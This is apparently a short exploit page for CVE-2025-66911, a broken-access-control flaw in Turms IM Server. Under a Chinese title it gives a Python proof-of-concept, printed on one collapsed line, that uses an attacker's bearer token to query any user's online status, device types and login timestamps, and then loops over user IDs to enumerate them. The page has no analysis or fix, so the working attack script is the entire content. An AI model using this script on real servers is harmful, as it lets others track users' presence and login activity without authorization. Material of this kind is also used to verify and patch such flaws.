CVE-2025-66911 Turms IM Server 访问控制失效漏洞

import requests import json # CVE-2025-66911 PoC - Turms IM Server Unauthorized User Status Query # Target: Turms IM Server < v0.10.0-SNAPSHOT TARGET_HOST = "http://target-server:9510" ATTACKER_TOKEN = "attacker_auth_token_here" def query_user_online_status(target_user_id): """ Query arbitrary user's online status without authorization """ endpoint = f"{TARGET_HOST}/user/queryOnlineStatuses" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } payload = { "userIds": [target_user_id], "deviceTypes": True, "loginTimestamps": True } try: response = requests.post(endpoint, json=payload, headers=headers) if response.status_code == 200: data = response.json() print(f"[+] Successfully queried user {target_user_id}") print(f"[+] Response: {json.dumps(data, indent=2)}") return data else: print(f"[-] Failed: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None def enumerate_users(start_id=1, count=10): """ Enumerate multiple users' online status """ print(f"[*] Enumerating {count} users starting from ID {start_id}") for user_id in range(start_id, start_id + count): query_user_online_status(user_id) if __name__ == "__main__": # Query specific user target_user = 12345 query_user_online_status(target_user) # Or enumerate multiple users enumerate_users(1, 100)